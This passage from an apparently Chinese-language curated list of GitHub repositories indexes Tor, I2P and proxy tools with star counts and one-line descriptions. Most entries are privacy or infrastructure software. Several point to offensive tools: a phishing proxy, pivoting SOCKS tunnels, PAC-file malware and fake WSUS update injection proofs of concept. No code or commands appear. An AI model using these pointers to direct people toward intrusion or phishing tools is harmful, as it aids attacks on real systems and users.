- [**30**星][1m] [Shell] [security-onion-solutions/securityonion-setup](https://github.com/security-onion-solutions/securityonion-setup)
- [**29**星][4y] [Makefile] [radicallyopensecurity/netaidkit](https://github.com/radicallyopensecurity/netaidkit) Standalone VPN/Tor WiFi router for journalists and activists
- 重复区段: [VPN->工具](#d62a971d37c69db9f3b9187318c3921a) |
- [**28**星][3y] [Py] [baltimorechad/pyonionscan](https://github.com/baltimorechad/pyonionscan) Dark Web OSINT With Python and OnionScan
- [**28**星][5y] [C++] [yawning/obfsclient](https://github.com/yawning/obfsclient) A C++11 obfs2/3 Tor managed pluggable transport client
- [**27**星][3y] [Py] [duk3luk3/onion-py](https://github.com/duk3luk3/onion-py) Python wrapper for the OnionOO tor status API
- [**27**星][9m] [Go] [nullhypothesis/sybilhunter](https://github.com/nullhypothesis/sybilhunter) Hunting for Sybils and anomalies in archived Tor network data.
- [**27**星][1m] [Shell] [security-onion-solutions/securityonion-docker](https://github.com/security-onion-solutions/securityonion-docker) Docker files for Security Onion
- [**25**星][2y] [Py] [absingh31/tor_spider](https://github.com/absingh31/tor_spider) Python project to crawl and scrap the lesser known deep web or one can say dark web. Just provide the onion link and get started.
- [**24**星][6m] [Py] [bunseokbot/darklight](https://github.com/bunseokbot/darklight) Engine for collecting onion domains and crawling from webpage based on Tor network
- [**24**星][7m] [ObjC] [mtigas/onionbrowser](https://github.com/mtigas/onionbrowser) personal fork for testing and submitting diffs for review. you DEFINITELY want the OnionBrowser/OnionBrowser repo instead
- [**24**星][2y] [Shell] [oniondecoy/installer](https://github.com/oniondecoy/installer) A platform to run private unannounced Honeypots as Tor Hidden Services (aka Onion Decoys) inside the Tor Network.
- [**23**星][] [C++] [deeponion/deeponion](https://github.com/deeponion/deeponion) Official Source Repo for DeepOnion - Anonymous Cryptocurrency on TOR
- [**22**星][5m] [Java] [guardianproject/jtorctl](https://github.com/guardianproject/jtorctl) deprecated fork of Java Tor Control Library
- [**22**星][4y] [Go] [jgrahamc/torexit](https://github.com/jgrahamc/torexit) Small program to read lists of Tor exit nodes and draw picture showing when they join/leave list
- [**22**星][2y] [Py] [mdegrazia/onionpeeler](https://github.com/mdegrazia/onionpeeler) Python script to batch query the Tor Relays and Bridges
- [**21**星][3y] [Go] [rdkr/oniongen-go](https://github.com/rdkr/oniongen-go)
- [**21**星][3y] [Go] [shakenetwork/onionscan](https://github.com/shakenetwork/onionscan) OnionScan暗网爬虫是一个免费的开源工具，用于调查黑网。 OnionScan is a free and open source tool for investigating the Dark Web
- [**20**星][11m] [Go] [nogoegst/onionize](https://github.com/nogoegst/onionize) create an onion site from a directory, file, zip or an HTTP(S) site
- [**20**星][5d] [Py] [beardog108/onionr](https://github.com/beardog108/onionr) Private Decentralized Communication Network
- [**19**星][4m] [Go] [mahrud/caddy-altonions](https://github.com/mahrud/caddy-altonions) Opportunistic Onions plugin for Caddy
- [**18**星][11m] [Go] [ciehanski/onionbox](https://github.com/ciehanski/onionbox) Send and receive files securely through Tor.
- [**18**星][3y] [PS] [defensivedepth/pertinax](https://github.com/defensivedepth/pertinax) Integrating Sysinternals Autoruns’ logs into Security Onion
- [**18**星][2y] [Lua] [nickcalyx/xmpp-onion-map](https://github.com/nickcalyx/xmpp-onion-map) A list of XMPP servers available as hidden services for use with the Prosody server and mod_onions
- [**18**星][2y] [Shell] [norpol/opensshd-tor-easy-setup](https://github.com/norpol/opensshd-tor-easy-setup) WIP: Quick and easy way to setup a tor .onion ssh service
- [**17**星][3y] [HTML] [jonathan-reisdorf/node-onion-omega-oled-text](https://github.com/jonathan-reisdorf/node-onion-omega-oled-text) Write text with big 16x16 font on the OLED expansion of the Onion Omega / Omega2
- [**15**星][3y] [Shell] [ahmia/torbalancer](https://github.com/ahmia/torbalancer) TorBalancer is a load balancer that uses multiple Tor clients and reuses circuits to onion sites.
- [**15**星][2m] [CSS] [dragonfruitnetwork/onionfruit](https://github.com/dragonfruitnetwork/onionfruit) OnionFruit Connect Downloads and Landing Pages
- [**14**星][4y] [Shell] [juhanurmi/stealth-ssh](https://github.com/juhanurmi/stealth-ssh) Secure SSH server using onion service.
- [**14**星][2m] [Shell] [security-onion-solutions/securityonion-nsmnow-admin-scripts](https://github.com/security-onion-solutions/securityonion-nsmnow-admin-scripts)
- [**13**星][2y] [Py] [loomisloud/onion-crawler](https://github.com/loomisloud/onion-crawler) Tor website crawler (specific for Alphabay at the time)
- [**12**星][3y] [Java] [miguelmarco/zcashpannel](https://github.com/miguelmarco/zcashpannel) An android front-end to the zcash wallet through onion services
- [**11**星][1m] [JS] [shesek/onionfile](https://github.com/shesek/onionfile) Simple file sharing over tor hidden services (v3)
- [**11**星][2y] [JS] [lukechilds/onionoo-node-client](https://github.com/lukechilds/onionoo-node-client) Node.js client library for the Tor Onionoo API
- [**9**星][4y] [Go] [onionscan/onionscan](https://github.com/onionscan/onionscan) Scan Onion Services for Security Issues
- [**8**星][5m] [PHP] [security-onion-solutions/securityonion-capme](https://github.com/security-onion-solutions/securityonion-capme)
- [**8**星][2y] [C++] [gilmansharov/onionmalware](https://github.com/gilmansharov/onionmalware) Multi-layer malware
- [**7**星][2y] [Shell] [security-onion-solutions/securityonion-elsa-extras](https://github.com/security-onion-solutions/securityonion-elsa-extras)
- [**7**星][16d] [Shell] [security-onion-solutions/securityonion-sostat](https://github.com/security-onion-solutions/securityonion-sostat)
- [**6**星][6y] [Perl] [wwwiretap/bleeding_onions](https://github.com/wwwiretap/bleeding_onions) Script to find Exit and Guard nodes in the Tor Network, that are still suffering from CVE-2014-0160
- [**5**星][26d] [HTML] [security-onion-solutions/securityonion-web-page](https://github.com/security-onion-solutions/securityonion-web-page)
- [**4**星][1y] [Shell] [ecrimelabs/securityonion-ecrimelabs](https://github.com/ecrimelabs/securityonion-ecrimelabs) Implementation of informaiton from MISP through the eCrimeLabs API and into SecurityOnion
- [**4**星][7m] [Py] [irl/bushel](https://github.com/irl/bushel) A bushel of onions is 57 lbs
- [**4**星][9m] [Shell] [mutedmouse/helk4so](https://github.com/mutedmouse/helk4so) This repository is for integrating HELK capabilities into Security Onion instances. This will be an evolving extension to both products and as such this not contributed directly to either the HELK or SecurityOnion. Please both use at your own risk and enjoy.
- [**4**星][3y] [Shell] [security-onion-solutions/securityonion-sguil-db-purge](https://github.com/security-onion-solutions/securityonion-sguil-db-purge)
- [**4**星][2y] [Py] [whonix/control-port-filter-python](https://github.com/whonix/control-port-filter-python) [Deprecated in Whonix 14] - new project name -> https://github.com/Whonix/onion-grater
- [**2**星][3y] [C] [epidemics-scepticism/all-the-onions](https://github.com/epidemics-scepticism/all-the-onions) Cryptographers hate him! Find every Tor hidden service address with this one weird trick!
- [**2**星][2y] [Py] [mirsamantajbakhsh/onionharvester-server](https://github.com/mirsamantajbakhsh/onionharvester-server) The web application for paralleling and distributing search operations among Onion Harvester clients.
- [**1**星][2y] [Py] [meejah/txtorcon-documentation-builder](https://github.com/meejah/txtorcon-documentation-builder) A distributed application that re-builds txtorcon's onion-service hosted documentation
- [**0**星][2y] [TeX] [alexxnica/onion-service-usability](https://github.com/alexxnica/onion-service-usability) Research project about understanding how Tor users interact with onion services
### <a id="ceb532aae106b39ea224c7aef786c831"></a>I2P
- [**1340**星][3d] [C++] [purplei2p/i2pd](https://github.com/purplei2p/i2pd) a full-featured C++ implementation of I2P client
- [**548**星][1y] [C++] [monero-project/kovri](https://github.com/monero-project/kovri) kovri：I2P 匿名网络的 C++ 实现版
- [**80**星][7m] [Java] [i2p/i2p.i2p-bote](https://github.com/i2p/i2p.i2p-bote) I2P-Bote is a serverless, encrypted e-mail application.
- [**71**星][19d] [Java] [i2p/i2p.android.base](https://github.com/i2p/i2p.android.base) I2P for Android
- [**71**星][2m] [JS] [purplei2p/i2pdbrowser](https://github.com/purplei2p/i2pdbrowser) i2pd browser bundle
- [**55**星][6d] [Rust] [str4d/ire](https://github.com/str4d/ire) I2P router implementation in Rust
- [**42**星][2m] [mikalv/awesome-i2p](https://github.com/mikalv/awesome-i2p) A curated list of awesome I2P implementations, libraries, resources, projects, and shiny things. I2P is an anonymous overlay network - a network within a network. It is intended to protect communication from dragnet surveillance and monitoring by third parties such as ISPs.
- [**28**星][2y] [C] [l-n-s/transmission-i2p](https://github.com/l-n-s/transmission-i2p) Anonymous torrent client Transmission-I2P [UNMAINTAINED]
- [**28**星][5m] [JS] [purplei2p/i2pd-tools](https://github.com/purplei2p/i2pd-tools) Some useful tools for I2P
- [**20**星][1m] [C++] [nonlinear-chaos-order-etc/i2pchat](https://github.com/nonlinear-chaos-order-etc/i2pchat)
- [**12**星][2m] [Py] [str4d/txi2p](https://github.com/str4d/txi2p) I2P bindings for Twisted.
***
## <a id="7b28248ff4b6fe73675e3139109ef93d"></a>文章
# <a id="21cbd08576a3ead42f60963cdbfb8599"></a>代理&&Proxy
***
## <a id="d03d494700077f6a65092985c06bf8e8"></a>工具
### <a id="0ff94312f3ab4898f5996725133ea9d1"></a>未分类
- [**7589**星][20d] [Go] [snail007/goproxy](https://github.com/snail007/goproxy) Proxy是高性能全功能的http代理、https代理、socks5代理、内网穿透、内网穿透p2p、内网穿透代理、内网穿透反向代理、内网穿透服务器、Websocket代理、TCP代理、UDP代理、DNS代理、DNS加密代理，代理API认证，全能跨平台代理服务器。
- [**4145**星][5m] [Py] [spiderclub/haipproxy](https://github.com/spiderclub/haipproxy)
- [**2457**星][2d] [C#] [netchx/netch](https://github.com/netchx/netch) 游戏加速器。支持:Socks5, Shadowsocks, ShadowsocksR, V2Ray 协议
- [**2262**星][3m] [Py] [novnc/websockify](https://github.com/novnc/websockify) Websockify is a WebSocket to TCP proxy/bridge. This allows a browser to connect to any application/server/service. Implementations in Python, C, Node.js and Ruby.
- [**2153**星][6y] [Ruby] [plamoni/siriproxy](https://github.com/plamoni/siriproxy) A (tampering) proxy server for Apple's Siri
- [**1613**星][7m] [Go] [sipt/shuttle](https://github.com/sipt/shuttle) A web proxy in Golang with amazing features.
- [**1423**星][18d] [C] [z3apa3a/3proxy](https://github.com/z3apa3a/3proxy) 微型免费代理服务器
- [**1243**星][2m] [Go] [google/martian](https://github.com/google/martian) 用于构建自定义HTTP / S代理的库
- [**1073**星][6m] [C] [tcurdt/iproxy](https://github.com/tcurdt/iproxy) Let's you connect your laptop to the iPhone to surf the web.
- [**910**星][7d] [JS] [mellow-io/mellow](https://github.com/mellow-io/mellow) Mellow is a rule-based global transparent proxy client for Windows, macOS and Linux.
- [**777**星][3y] [TS] [uwnetworkslab/uproxy-p2p](https://github.com/uwnetworkslab/uproxy-p2p) Internet without borders
- [**739**星][4d] [Py] [abhinavsingh/proxy.py](https://github.com/abhinavsingh/proxy.py) ⚡⚡⚡Fast, Lightweight, Pluggable, TLS interception capable proxy server focused on Network monitoring, controls & Application development, testing, debugging
- [**700**星][2m] [Go] [dliv3/venom](https://github.com/dliv3/venom) Venom - A Multi-hop Proxy for Penetration Testers
- [**660**星][3y] [Ruby] [igrigorik/em-proxy](https://github.com/igrigorik/em-proxy) EventMachine Proxy DSL for writing high-performance transparent / intercepting proxies in Ruby
- [**590**星][5d] [clarketm/proxy-list](https://github.com/clarketm/proxy-list) A list of free, public, forward proxy servers. UPDATED DAILY!
- [**556**星][9y] [Ruby] [mojombo/proxymachine](https://github.com/mojombo/proxymachine) A simple TCP routing proxy built on EventMachine that lets you configure the routing logic in Ruby.
- [**477**星][1y] [Go] [yinqiwen/gsnova](https://github.com/yinqiwen/gsnova) Private proxy solution & network troubleshooting tool.
- [**429**星][3d] [Py] [stamparm/fetch-some-proxies](https://github.com/stamparm/fetch-some-proxies) Simple Python script for fetching "some" (usable) proxies
- [**370**星][2m] [Py] [lyft/metadataproxy](https://github.com/lyft/metadataproxy) A proxy for AWS's metadata service that gives out scoped IAM credentials from STS
- [**363**星][2y] [Py] [roglew/pappy-proxy](https://github.com/roglew/pappy-proxy) An intercepting proxy for web application testing
- [**341**星][2y] [C++] [usb-tools/usbproxy-legacy](https://github.com/usb-tools/USBProxy-legacy) A proxy for USB devices, libUSB and gadgetFS - this project is unmaintained, try here:
- [**305**星][3m] [JS] [bettercap/caplets](https://github.com/bettercap/caplets) 使用.cap脚本, 自动化bettercap的交互式会话
- [**287**星][5m] [Go] [suyashkumar/ssl-proxy](https://github.com/suyashkumar/ssl-proxy)
- [**285**星][2y] [evilsocket/bettercap-proxy-modules](https://github.com/evilsocket/bettercap-proxy-modules) This repository contains some bettercap transparent proxy example modules.
- [**281**星][t] [a2u/free-proxy-list](https://github.com/a2u/free-proxy-list)
- [**266**星][5y] [C] [mysql/mysql-proxy](https://github.com/mysql/mysql-proxy) MySQL Proxy is a simple program that sits between your client and MySQL server(s) and that can monitor, analyze or transform their communication. Its flexibility allows for a wide variety of uses, including load balancing, failover, query analysis, query filtering and modification, and many more.
- [**229**星][4y] [Py] [danmcinerney/elite-proxy-finder](https://github.com/danmcinerney/elite-proxy-finder) Finds public elite anonymity proxies and concurrently tests them
- [**218**星][9m] [Go] [joncooperworks/judas](https://github.com/joncooperworks/judas) a phishing proxy
- [**218**星][1y] [PHP] [softius/php-cross-domain-proxy](https://github.com/softius/php-cross-domain-proxy) PHP Proxy for Cross Domain Requests
- [**213**星][3y] [C#] [dxflatline/flatpipes](https://github.com/dxflatline/flatpipes) A TCP proxy over named pipes. Originally created for maintaining a meterpreter session over 445 for less network alarms.
- [**207**星][2y] [Go] [netxfly/xsec-proxy-scanner](https://github.com/netxfly/xsec-proxy-scanner) 速度超快、小巧的代理服务器扫描器
- [**205**星][3y] [Go] [praetorian-code/trudy](https://github.com/praetorian-code/trudy) A transparent proxy that can modify and drop traffic for arbitrary TCP connections.
- [**199**星][3m] [Py] [cisco-talos/decept](https://github.com/cisco-talos/decept) Decept Network Protocol Proxy
- [**194**星][3y] [JS] [mhils/honeyproxy](https://github.com/mhils/honeyproxy) This project is now part of
- [**186**星][13d] [Go] [asciimoo/morty](https://github.com/asciimoo/morty) 去除恶意HTML标签和属性，去除外部资源引用以防止第三方信息泄露
- [**185**星][2m] [Java] [sensepost/mallet](https://github.com/sensepost/mallet) Mallet is an intercepting proxy for arbitrary protocols
- [**182**星][3m] [C] [cloudflare/mmproxy](https://github.com/cloudflare/mmproxy) mmproxy, the magical PROXY protocol gateway
- [**172**星][2y] [Py] [mdsecactivebreach/chameleon](https://github.com/mdsecactivebreach/chameleon) A tool for evading Proxy categorisation
- [**167**星][3y] [C] [hugsy/proxenet](https://github.com/hugsy/proxenet) The ONLY hacker friendly proxy for webapp pentests.
- [**158**星][2y] [Py] [tintinweb/striptls](https://github.com/tintinweb/striptls) proxy poc implementation of STARTTLS stripping attacks
- [**157**星][2m] [Py] [nucypher/pyumbral](https://github.com/nucypher/pyumbral) NuCypher's reference implementation of Umbral (threshold proxy re-encryption) using OpenSSL and Cryptography.io
- [**154**星][4y] [C++] [hiwincn/htran](https://github.com/hiwincn/htran) HTran is a connection bouncer, a kind of proxy server. A “listener” program is hacked stealthily onto an unsuspecting host anywhere on the Internet. When it receives signals from the actual target system, it redirects it to the hacker’s server.
- [**143**星][2y] [Ruby] [nccgroup/binproxy](https://github.com/nccgroup/binproxy) BinProxy is a proxy for arbitrary TCP connections. You can define custom message formats using the BinData gem.
- [**143**星][3y] [Py] [safebreach-labs/pacdoor](https://github.com/safebreach-labs/pacdoor) Proof-of-concept JavaScript malware implemented as a Proxy Auto-Configuration (PAC) File
- [**135**星][9d] [C++] [pichi-router/pichi](https://github.com/pichi-router/pichi) Flexible Rule-Based Proxy
- [**131**星][3y] [Py] [safebreach-labs/pyekaboo](https://github.com/safebreach-labs/pyekaboo) Proof-of-concept program that is able to to hijack/hook/proxy Python module(s) thanks to $PYTHONPATH variable
- [**114**星][7m] [C#] [tyranid/canape.core](https://github.com/tyranid/canape.core) A network proxy library written in C# for .NET Core based on CANAPE
- [**111**星][2m] [Py] [ickerwx/tcpproxy](https://github.com/ickerwx/tcpproxy) Intercepting TCP proxy to modify raw TCP streams using modules on incoming or outgoing traffic
- [**110**星][6m] [Swift] [tuluobo/leiter](https://github.com/tuluobo/leiter) 一个基于 NEKit 的网络 Proxy App。
- [**105**星][6m] [Py] [roglew/guppy-proxy](https://github.com/roglew/guppy-proxy) 用于WebApp安全测试的拦截代理(intercepting proxy)
- [**91**星][4y] [Py] [pdjstone/wsuspect-proxy](https://github.com/pdjstone/wsuspect-proxy) Python tool to inject fake updates into unencrypted WSUS traffic
- [**90**星][3m] [C++] [leoloobeek/comproxy](https://github.com/leoloobeek/comproxy) PoC for proxying COM objects when hijacking
- [**77**星][5m] [Go] [netxfly/x-proxy](https://github.com/netxfly/x-proxy) honeypot proxy
- [**72**星][6y] [C] [jtripper/sslnuke](https://github.com/jtripper/sslnuke) Transparent proxy that decrypts SSL traffic and prints out IRC messages.
- [**71**星][2y] [JS] [kureev/react-native-network-proxy](https://github.com/kureev/react-native-network-proxy) Network debugger (logger) for React Native apps
- [**62**星][4m] [C] [sonertari/sslproxy](https://github.com/sonertari/sslproxy) Transparent SSL/TLS proxy for decrypting and diverting network traffic to other programs, such as UTM services, for deep SSL inspection
- [**62**星][1m] [Lua] [yelp/casper](https://github.com/yelp/casper) Yelp's internal caching proxy, powered by Nginx and OpenResty at its core
- [**60**星][8m] [JS] [try-to/electron-proxy](https://github.com/try-to/electron-proxy) 基于electron开发的内网穿透工具，支持多系统，支持任意本地端口.
- [**58**星][3y] [nidom/buff](https://github.com/nidom/buff) A proxy tool for macOS.
- [**58**星][7m] [JS] [pownjs/pown-proxy](https://github.com/pownjs/pown-proxy) Pown Proxy is a versatile web application security testing proxy with cool TUI features.
- [**54**星][1y] [Go] [netflix-skunkworks/aws-metadata-proxy](https://github.com/netflix-skunkworks/aws-metadata-proxy) AWS Metadata Proxy for protection against SSRF
- [**40**星][5m] [Java] [coveros/zap-sonar-plugin](https://github.com/coveros/zap-sonar-plugin) Integrates OWASP Zed Attack Proxy reports into SonarQube
- [**27**星][17d] [C] [johndoe31415/ratched](https://github.com/johndoe31415/ratched) Ratched is a transparent Man-in-the-Middle TLS proxy intended for penetration testing
- [**21**星][6y] [Go] [mikkolehtisalo/gssapi-proxy](https://github.com/mikkolehtisalo/gssapi-proxy) GSSAPI/Kerberos proxy
- [**10**星][4m] [JS] [zaproxy/zap-api-nodejs](https://github.com/zaproxy/zap-api-nodejs)
### <a id="d3069cac6097830d12f5933c9c8b7a77"></a>HAProxy
- [**1526**星][4d] [C] [jiangwenyuan/nuster](https://github.com/jiangwenyuan/nuster) A high performance HTTP proxy cache server and RESTful NoSQL cache server based on HAProxy
- [**547**星][t] [Go] [jcmoraisjr/haproxy-ingress](https://github.com/jcmoraisjr/haproxy-ingress) HAProxy Ingress
- [**492**星][1m] [Shell] [trimstray/multitor](https://github.com/trimstray/multitor) Shell脚本, 创建多个Tor实例, 并使用HAProxy实现负载均衡
- 重复区段: [匿名网络->工具->Tor](#e99ba5f3de02f68412b13ca718a0afb6) |
- [**473**星][5d] [Py] [aidaho12/haproxy-wi](https://github.com/aidaho12/haproxy-wi) Web interface for managing Haproxy servers
- [**279**星][5y] [Go] [hashicorp/consul-haproxy](https://github.com/hashicorp/consul-haproxy) Consul HAProxy connector for real-time configuration
- [**221**星][3y] [Smarty] [analytically/haproxy-ddos](https://github.com/analytically/haproxy-ddos) DDOS and attack resilient HAProxy configuration. To be used behind CloudFlare.
- [**179**星][3y] [Go] [adohe/kube2haproxy](https://github.com/adohe/kube2haproxy) High Availability HAProxy auto configuration and auto service discovery for Kubernetes.
- [**161**星][10m] [Go] [armon/go-proxyproto](https://github.com/armon/go-proxyproto) Golang package to handle HAProxy Proxy Protocol
- [**158**星][2y] [Shell] [anapsix/zabbix-haproxy](https://github.com/anapsix/zabbix-haproxy) HAProxy Zabbix Discovery and Template
- [**121**星][2y] [Py] [teamhg-memex/aquarium](https://github.com/teamhg-memex/aquarium) Splash + HAProxy + Docker Compose
- [**81**星][11d] [geerlingguy/ansible-role-haproxy](https://github.com/geerlingguy/ansible-role-haproxy) Ansible Role - HAProxy
- [**67**星][14d] [Shell] [dbezemer/rpm-haproxy](https://github.com/dbezemer/rpm-haproxy) HAproxy RPM spec and builds for CentOS 6/7
- [**58**星][16d] [Java] [daggerok/streaming-file-server](https://github.com/daggerok/streaming-file-server) full-stack java file server with no limitation for files uploads and downloads: spring-boot + Gradle Kotlin DSL, Gradle buildSrc, postgres / h2, apache fileUpload, lombok, mustache, docker, jgiven, powermock, gradle, CI, bootstrap 4, bootstrap-filelinput, webjars, maven github-release-plugin, nginx, haproxy, reverse-proxy
- [**36**星][3y] [C] [arodland/haproxy](https://github.com/arodland/haproxy) Experiment with haproxy
- [**24**星][1m] [Py] [yelp/hacheck](https://github.com/yelp/hacheck) HAproxy healthcheck proxying service
- [**20**星][27d] [HTML] [cloudfoundry-incubator/haproxy-boshrelease](https://github.com/cloudfoundry-incubator/haproxy-boshrelease) A BOSH release for haproxy (based on cf-release's haproxy job)
- [**19**星][19d] [Py] [yelp/synapse-tools](https://github.com/yelp/synapse-tools) Tools for configuring synapse and reloading haproxy hitlessly
### <a id="6381920f17576b07cc87a8dc619123aa"></a>DNS
#### <a id="b0328a85ce70f4be618511259df159a9"></a>未分类
- [**2503**星][8m] [C++] [chengr28/pcap_dnsproxy](https://github.com/chengr28/pcap_dnsproxy) Pcap_DNSProxy, a local DNS server based on packet capturing
- [**342**星][9m] [Py] [iphelix/dnschef](https://github.com/iphelix/dnschef) DNS 代理，用于渗透测试和恶意代码分析
- [**237**星][12m] [Go] [fardog/secureoperator](https://github.com/fardog/secureoperator) A DNS-protocol proxy for DNS-over-HTTPS providers, such as Google and Cloudflare
- [**203**星][1m] [Rust] [jedisct1/rust-doh](https://github.com/jedisct1/rust-doh) A fast and secure DoH (DNS-over-HTTP) server proxy written in Rust.
- [**171**星][2y] [Go] [arwmq9b6/dnsproxy](https://github.com/arwmq9b6/dnsproxy) 防 DNS 缓存污染，兼顾查询质量与速度
- [**79**星][2y] [Go] [netxfly/xsec-dns-proxy](https://github.com/netxfly/xsec-dns-proxy) xsec-dns-proxy：DNS代理服务器，可以将DNS请求代理到后端的DNS服务器中，在代理的过程中会将dns log写入到数据库中
- [**26**星][9m] [Py] [byt3bl33d3r/dnschef](https://github.com/byt3bl33d3r/dnschef) DNSChef - DNS proxy for Penetration Testers and Malware Analysts
#### <a id="191c4ddd413ed659f507ef4ad8c17818"></a>DNSCrypt
- [**5164**星][t] [Go] [dnscrypt/dnscrypt-proxy](https://github.com/DNSCrypt/dnscrypt-proxy) 灵活的DNS代理，支持现代的加密DNS协议，例如：DNS protocols such as DNSCrypt v2, DNS-over-HTTPS and Anonymized DNSCrypt.
- [**1433**星][1m] [C#] [bitbeans/simplednscrypt](https://github.com/bitbeans/simplednscrypt) A simple management tool for dnscrypt-proxy
- [**951**星][7y] [C#] [opendns/dnscrypt-win-client](https://github.com/opendns/dnscrypt-win-client) Windows front end for DNSCrypt Proxy
- [**461**星][9m] [C] [cofyc/dnscrypt-wrapper](https://github.com/cofyc/dnscrypt-wrapper) This is dnscrypt wrapper (server-side dnscrypt proxy), which helps to add dnscrypt support to any name resolver.
- [**356**星][] [Shell] [dnscrypt/dnscrypt-server-docker](https://github.com/dnscrypt/dnscrypt-server-docker) A Docker image for a non-censoring, non-logging, DNSSEC-capable, DNSCrypt-enabled DNS resolver
- [**327**星][4y] [JS] [pwnsdx/randomdns](https://github.com/pwnsdx/randomdns) improve the security, privacy and anonymity of DNSCrypt
- [**315**星][t] [Py] [dnscrypt/dnscrypt-resolvers](https://github.com/dnscrypt/dnscrypt-resolvers) Lists of public DNSCrypt-enabled DNS resolvers
- [**273**星][9d] [Go] [adguardteam/dnsproxy](https://github.com/adguardteam/dnsproxy) Simple DNS proxy with DoH, DoT, and DNSCrypt support
- [**231**星][2y] [Shell] [simonclausen/dnscrypt-autoinstall](https://github.com/simonclausen/dnscrypt-autoinstall) Automatic installation and configuration of DNSCrypt (on Debian + Redhat like systems). This script will install DNSCrypt and configure it to start on boot and use an optional dnscrypt service.
- [**162**星][4m] [C] [dyne/dnscrypt-proxy](https://github.com/dyne/dnscrypt-proxy) DNSCrypt-Proxy repository, frankly maintained for what it does (no new features planned)
- [**94**星][1y] [Shell] [jedisct1/bitbar-dnscrypt-proxy-switcher](https://github.com/jedisct1/bitbar-dnscrypt-proxy-switcher) BitBar plugin to control dnscrypt-proxy usage
- [**60**星][16d] [dnscrypt/dnscrypt-protocol](https://github.com/dnscrypt/dnscrypt-protocol) DNSCrypt protocol specification
- [**57**星][2y] [oznu/docker-dns-ad-blocker](https://github.com/oznu/docker-dns-ad-blocker) A lightweight dnsmasq DNS server to block traffic to known ad servers with optional DNSCrypt support. Supports x86_64 and Raspberry Pi (armhf).
- [**50**星][2y] [Shell] [jaybrown/dnscrypt-menu](https://github.com/jaybrown/dnscrypt-menu) Manage DNSCrypt from the macOS menu bar (BitBar plugin)
- [**26**星][5d] [Vue] [dnscrypt/dnscrypt-website](https://github.com/dnscrypt/dnscrypt-website) DNSCrypt website
- [**25**星][2y] [C] [dnscrypt/dnscrypt-plugin-geoip-block](https://github.com/dnscrypt/dnscrypt-plugin-geoip-block) Block DNS queries according to the country they resolve to
- [**12**星][1y] [Py] [jmcgrath207/dnscryptproxypitool](https://github.com/jmcgrath207/dnscryptproxypitool) DnsCrypt Proxy 2 for PiHole Raspberry Pi 3
- [**10**星][12m] [alterstep/dnscrypt-osxclient](https://github.com/alterstep/dnscrypt-osxclient) Mac OSX application to control the DNSCrypt Proxy
- [**1**星][2y] [Shell] [veerendra2/searx-with-dnscrypt](https://github.com/veerendra2/searx-with-dnscrypt) Searx metadata search engine meets dnscrypt in Docker
### <a id="b6f25145e99ea944cbb528a24afaa0be"></a>HTTP&&HTTPS
- [**7969**星][4y] [Go] [cyfdecyf/cow](https://github.com/cyfdecyf/cow) HTTP proxy written in Go. COW can automatically identify blocked sites and use parent proxies to access.
- [**6202**星][11d] [JS] [avwo/whistle](https://github.com/avwo/whistle) 基于Node实现的跨平台抓包调试代理工具（HTTP, HTTP2, HTTPS, Websocket）
- [**1873**星][1m] [C] [tinyproxy/tinyproxy](https://github.com/tinyproxy/tinyproxy) a light-weight HTTP/HTTPS proxy daemon for POSIX operating systems
- [**787**星][12d] [C#] [justcoding121/titanium-web-proxy](https://github.com/justcoding121/titanium-web-proxy) A cross-platform asynchronous HTTP(S) proxy server in C#.
- [**514**星][11m] [Erlang] [heroku/vegur](https://github.com/heroku/vegur) HTTP Proxy Library
- [**355**星][27d] [Go] [quay/jwtproxy](https://github.com/quay/jwtproxy) An HTTP-Proxy that adds AuthN through JWTs
- [**231**星][2m] [Ruby] [zt2/sqli-hunter](https://github.com/zt2/sqli-hunter) SQLi-Hunter is a simple HTTP proxy server and a SQLMAP API wrapper that makes digging SQLi easy.
- [**218**星][10m] [Go] [justmao945/mallory](https://github.com/justmao945/mallory) HTTP/HTTPS proxy over SSH
- [**133**星][2y] [Py] [qiyeboy/baseproxy](https://github.com/qiyeboy/baseproxy) 异步http/https代理,可拦截修改报文
- [**120**星][1y] [Go] [cllunsford/aws-signing-proxy](https://github.com/cllunsford/aws-signing-proxy) Golang http proxy to transparently sign requests to AWS endpoints
- [**110**星][2y] [PHP] [walkor/php-http-proxy](https://github.com/walkor/php-http-proxy) HTTP proxy written in PHP based on workerman.
- [**102**星][2y] [Go] [sakeven/httpproxy](https://github.com/sakeven/httpproxy) 基于 Go 开发，支持 http/1.1 以上版本的 HTTP(S) 代理。（Why not try out Mika?）
- [**32**星][3y] [Go] [mikegleasonjr/devproxy](https://github.com/mikegleasonjr/devproxy) A local development http proxy with hosts spoofing written in Go
### <a id="57b8e953d394bbed52df2a6976d98dfa"></a>Socks
- [**3057**星][2m] [Go] [gwuhaolin/lightsocks](https://github.com/gwuhaolin/lightsocks) 轻量级网络混淆代理，基于 SOCKS5 协议，可用来代替 Shadowsocks
- [**1943**星][5m] [C] [darkk/redsocks](https://github.com/darkk/redsocks) transparent TCP-to-proxy redirector
- [**1740**星][10m] [Py] [constverum/proxybroker](https://github.com/constverum/proxybroker) Proxy [Finder | Checker | Server]. HTTP(S) & SOCKS
- [**1532**星][3y] [Py] [sensepost/regeorg](https://github.com/sensepost/regeorg) The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
- [**939**星][2y] [C++] [securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) 网络工具包：TCP 和 UDP 端口转发、SOCKS 代理、远程 shell，跨平台
- [**852**星][3m] [Py] [anorov/pysocks](https://github.com/anorov/pysocks) A SOCKS proxy client and wrapper for Python.
- [**794**星][3y] [Go] [armon/go-socks5](https://github.com/armon/go-socks5) SOCKS5 server in Golang
- [**558**星][9m] [JS] [blinksocks/blinksocks](https://github.com/blinksocks/blinksocks) A framework for building composable proxy protocol stack.
- [**469**星][6m] [Go] [dan-v/awslambdaproxy](https://github.com/dan-v/awslambdaproxy) An AWS Lambda powered HTTP/SOCKS web proxy
- [**461**星][2y] [missdeer/avege](https://github.com/missdeer/avege) Yet Another Redsocks Golang Fork
- [**441**星][3y] [Py] [ring04h/wyproxy](https://github.com/ring04h/wyproxy) proxying and recording HTTP/HTTPs/Socks5 proxy flow, save to MYSQL database.
- [**425**星][3m] [PS] [p3nt4/invoke-socksproxy](https://github.com/p3nt4/invoke-socksproxy) Socks proxy server using powershell. Supports local and reverse connections for pivoting.
- [**338**星][7m] [Py] [fbkcs/thunderdns](https://github.com/fbkcs/thunderdns) 使用DNS协议转发TCP流量. Python编写, 无需编译客户端, 支持socks5
